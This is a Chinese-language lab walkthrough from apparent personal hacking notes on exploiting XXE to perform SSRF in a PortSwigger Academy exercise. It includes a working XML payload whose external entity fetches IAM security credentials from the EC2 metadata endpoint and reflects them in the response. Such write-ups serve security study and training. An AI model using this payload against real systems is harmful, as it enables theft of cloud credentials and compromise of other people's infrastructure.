> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xxe/xxe-to-perform-ssrf-attacks.md).

# 用于执行 SSRF 攻击的 XXE

用于执行 SSRF 攻击的 XXE 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 利用 XXE 发起 SSRF 攻击

利用该处的 XXE 漏洞 **“Check Stock”** 接受 XML 的功能，从而向 EC2 元数据端点发起 SSRF 请求（`HTTP://169.254.169.254/`）并从服务器中获取秘密 IAM 密钥。

实验服务器模拟了一个可通过默认 `HTTP://169.254.169.254/` 地址访问的 EC2 元数据端点。通过向发送给存在漏洞的解析器的 XML 中注入外部实体，可以强制服务器读取内部 URL，并在响应中返回其内容。

#### 开始 XML

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
 <productId>
  4
 </productId>
 <storeId>
  1
 </storeId>
</stockCheck>
```

{% endcode %}

#### 用于执行 SSRF 的 XXE 有效载荷

通过指向 IAM 元数据端点的外部实体进行引用，然后将该实体包含在反射字段中（`productId`):

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">]>
<stockCheck>
  <productId>
  &myFile;
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7237ab3bb1918399674a34bcb7788532ad1095f8%2F%7B79E922E8-7ACF-4E42-B7DC-AC47AA55193D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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